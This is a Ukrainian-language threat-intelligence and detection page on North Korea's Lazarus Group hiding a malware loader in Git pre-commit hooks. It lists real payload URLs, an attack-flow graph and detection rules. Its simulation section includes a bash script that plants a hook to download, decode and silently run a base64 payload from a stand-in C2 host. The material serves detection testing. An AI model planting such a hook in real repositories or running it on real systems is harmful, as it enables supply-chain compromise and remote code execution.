Lazarus Group Використовує Git Hooks Для Приховування Шкідливого ПЗ Інфіковані Інтерв’ю КНДР та Кампанія TaskJacker Тепер Ховає Другий Завантажувач у гіт хуках для Завантаження InvisibleFerret та Beavertail Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Північнокорейська група Lazarus оновила свою кампанію Contagious Interview та TaskJacker, вбудувавши механізм доставки другого етапу всередині шкідливого Git pre-commit and post-checkout хуків. Ці хуки тихо отримують специфічні для платформи навантаження з URL-адреси, розміщеної на Vercel, і виконують їх на системах macOS, Linux і Windows. Зловживаючи довіреними робочими потоками розробників та інструментарієм репозиторію, зловмисники перетворюють рутинні завдання кодування у вектор компрометації ланцюга поставок, що може призвести до крадіжки облікових даних та компрометації криптовалютних гаманців. Ключові індикатори включають шкідливий .githooks/pre-commit скрипт та інфраструктуру, розміщену на precommit.vercel.app.
Розслідування
Дослідники OpenSourceMalware виявили компактний .githooks/pre-commit скрипт, що визначає операційну систему жертви та завантажує відповідне навантаження з precommit.vercel.app використовуючи curl or wget. Той самий хеш скрипту з’явився у кількох репозиторіях GitHub, замаскованих під проєкти з оцінки коду, пов’язані з темами криптовалюти та DeFi. Інфраструктура подавала різні payloads оболонки або пакетів залежно від операційної системи, контролюючи через параметр запиту на основі прапорів. Дослідники також поділилися запитами на пошук коду GitHub, що можуть бути використані для відтворення пошуку та знаходження подібних репозиторіїв.
Пом’якшення
Організації повинні уважно переглянути хуки Git-репозиторію, особливо файли у .githooks, .husky, і .vscode/tasks.json, перед тим як дозволяти їх виконати. Розробники повинні клонувати та тестувати ненадійні репозиторії лише в ізольованих середовищах, які не містять SSH ключів, файлів гаманців або активних профілів браузера. Автоматичне виконання хуків Git повинно бути відключено де це можливо, або обмежене лише затвердженими скриптами. Команди безпеки також повинні моніторити вихідний трафік до precommit.vercel.app та подібних доменів, які можуть підтримувати доставку шкідливих навантажень.
Реагування
Захисники повинні блокувати мережеве спілкування з precommit.vercel.app та створити моніторинг цілісності файлів для неочікуваних .githooks/pre-commit файлів. Попередження також повинні бути викликані, коли curl or wget виконується з процесів, пов’язаних з хуками Git. Будь-які потенційно скомпрометовані облікові дані, токени або криптовалютні гаманці повинні бути розслідувані та негайно замінені. Полювання за загрозами повинно бути розширено з використанням наданих індикаторів для ідентифікації постраждалих репозиторіїв та всіх систем, що взаємодіяли з ними.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% Nodes u2013 Actions action_clone["<b>Action</b> – Жертва клонує шкідливий репозиторій<br/><b>Description</b>: Завантажує код, що містить шкідливий хук Git."] class action_clone action action_commit["<b>Action</b> – Жертва запускає <code>git commit</code><br/><b>Description</b>: Автоматично викликає хук preu2011commit."] class action_commit action %% Nodes u2013 Artifacts artifact_repo["<b>Artifact</b> – Шкідливий Git репозиторій<br/><b>Details</b>: Надає фальшивий матеріал для кодуванняу2011інтерв’ю."] class artifact_repo artifact artifact_hook["<b>Artifact</b> – .githooks/preu2011commit скрипт<br/><b>Details</b>: Виконується автоматично при кожному <code>git commit</code>."] class artifact_hook artifact artifact_urls["<b>Artifact</b> – Віддалені URL-адреси завантаження навантаження<br/><b>Details</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% Nodes u2013 Techniques tech_supply_chain["<b>Technique</b> – T1195: Компрометація ланцюга поставок<br/><b>Description</b>: Зловмисники компрометують програмне забезпечення стороннього постачальника, щоб поширювати шкідливий код серед жертв."] class tech_supply_chain technique tech_dependency["<b>Technique</b> – T1195.001: Компрометація залежностей програмного забезпечення та інструментів розробки<br/><b>Description</b>: Цільові програмні залежності або інструменти розробки для вбудовування шкідливого коду."] class tech_dependency technique tech_proxy_exec["<b>Technique</b> – T1127: Виконання за допомогою довірених утиліт розробників<br/><b>Description</b>: Використовуйте довірені утиліти розробників (наприклад, хуки Git) для виконання коду, яким керують зловмисники."] class tech_proxy_exec technique tech_unix_shell["<b>Technique</b> – T1059.004: Інтерпретатор команд і скриптів у2013 Unix Shell<br/><b>Description</b>: Виконайте команди через інтерпретатор оболонки Unix."] class tech_unix_shell technique tech_user_exec["<b>Technique</b> – T1204.004: Виконання коду користувача у2013 Злочинні дії копіювання та вставки<br/><b>Description</b>: Жертва неусвідомлено запускає шкідливий код через дії копіюванняу2011тау2011вставки."] class tech_user_exec technique tech_taint["<b>Technique</b> – T1080: Зараження спільного контенту<br/><b>Description</b>: Вбудовувати шкідливий контент в спільні ресурси, які згодом виконуються жертвами."] class tech_taint technique tech_content_injection["<b>Technique</b> – T1659: Впровадження контенту<br/><b>Description</b>: Вставити шкідливий вміст у справжні файли або потоки даних."] class tech_content_injection technique %% Nodes u2013 Tools tool_git["<b>Tool</b> – Git<br/><b>Description</b>: Система керування версіями, яка запускає скрипти хуків при подіях у репозиторії."] class tool_git tool tool_curl["<b>Tool</b> – curl / wget<br/><b>Description</b>: Завантажує віддалений контент через HTTP/HTTPS."] class tool_curl tool tool_sh["<b>Tool</b> – /bin/sh<br/><b>Description</b>: Інтерпретатор оболонки, що використовується для виконання завантажених навантажень."] class tool_sh tool %% Connections u2013 Attack Flow action_clone –>|delivers| artifact_repo artifact_repo –>|enables| tech_supply_chain tech_supply_chain –>|facilitates| tech_dependency tech_dependency –>|places| artifact_hook action_commit –>|triggers| artifact_hook artifact_hook –>|leverages| tech_proxy_exec tech_proxy_exec –>|executes via| tool_git tool_git –>|invokes| tech_unix_shell tech_unix_shell –>|uses| tool_curl tool_curl –>|downloads| artifact_urls artifact_urls –>|supplies to| tech_taint tech_taint –>|leads to| tech_content_injection tech_content_injection –>|executes via| tool_sh tool_sh –>|runs malicious payload| tech_user_exec "
Потік атак
Виявлення
Підозріле використання CURL (через cmdline)
Переглянути
Можлива інфільтрація/експільтрація даних / C2 через сторонні сервіси/інструменти (через проксі)
Переглянути
Можлива інфільтрація/експільтрація даних / C2 через сторонні сервіси/інструменти (через dns)
Переглянути
Підозріле виконання Curl [MacOS] (через cmdline)
Переглянути
Віддалене завантаження/вивантаження файлів через стандартні інструменти (через cmdline)
Переглянути
IOC (HashSha1) для виявлення: Група Lazarus використовує хуки Git для приховування шкідливого програмного забезпечення. Кампанія DPRK’s Contagious Interview та TaskJacker тепер приховує свій завантажувач другого етапу всередині хуків git, які завантажують InvisibleFerret та Beavertail шкідливе ПЗ
Переглянути
Виявлення шкідливого pre-commit hook у Git з командою Curl [Створення процесу Windows]
Переглянути
Підозріла активність pre-commit hook, що завантажує payloads скрипту оболонки [Створення процесу Linux]
Переглянути
Шкідливий завантажувач групи Lazarus у Git хуках [Подія файлу Linux]
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базової лінії Pre-flight повинна бути пройденою.
Пояснення: Цей розділ детально описує точне виконання техніки (TTP) супротивника, розробленої для запуску правила виявлення. Команди та наратив МУСЯТЬ безпосередньо відображати ідентифіковані TTP та мають генерувати точну телеметрію, очікувану логікою виявлення.
-
Нарис атаки та команди:
Оператор з групи Lazarus компрометує робочу станцію розробника і впроваджує шкідливий pre-commit хук Git. Хук поміщається в приховану директорію “.githooks” для уникнення випадкового виявлення. Коли виконується будь-якийgit commit, хук тихо контактує з сервером C2, завантажує payload, закодований в base64, записує його на/tmp/.payload, робить його виконуваним і запускає, забезпечуючи цим плацдарм (T1620) та виконуючи вбудований шкідливий payload (T1027.009). -
Регресійний тестовий скрипт:
#!/bin/bash # ------------------------------------------------- # Тест на шкідливий pre-commit хук у стилі Lazarus # ------------------------------------------------- # 1. Створити приховану директорію .githooks mkdir -p "$HOME/.githooks" # 2. Написати шкідливий pre-commit хук cat > "$HOME/.githooks/pre-commit" <<'EOF' #!/bin/bash # Шкідливий pre-commit хук – завантажує та виконує payload C2_URL="http://malicious.example.com/payload.b64" TMPFILE="/tmp/.payload" # Завантажити payload base64 curl -s -o "$TMPFILE.b64" "$C2_URL" # Декодувати та встановити виконуваним base64 -d "$TMPFILE.b64" > "$TMPFILE" chmod +x "$TMPFILE" # Виконати payload тихо "$TMPFILE" & exit 0 EOF # 3. Зробити хук виконуваним chmod +x "$HOME/.githooks/pre-commit" # 4. Симулювати git commit для запуску хуку mkdir -p "$HOME/malicious-repo" cd "$HOME/malicious-repo" git init > /dev/null 2>&1 touch README.md git add README.md git commit -m "Initial commit" > /dev/null 2>&1 echo "Шкідливий pre-commit хук виконано (якщо спрацює виявлення, має з'явитися сповіщення)." -
Команди очищення:
#!/bin/bash # Видалити шкідливі артефакти rm -rf "$HOME/.githooks" rm -f "/tmp/.payload" "/tmp/.payload.b64" rm -rf "$HOME/malicious-repo" echo "Очищення завершено."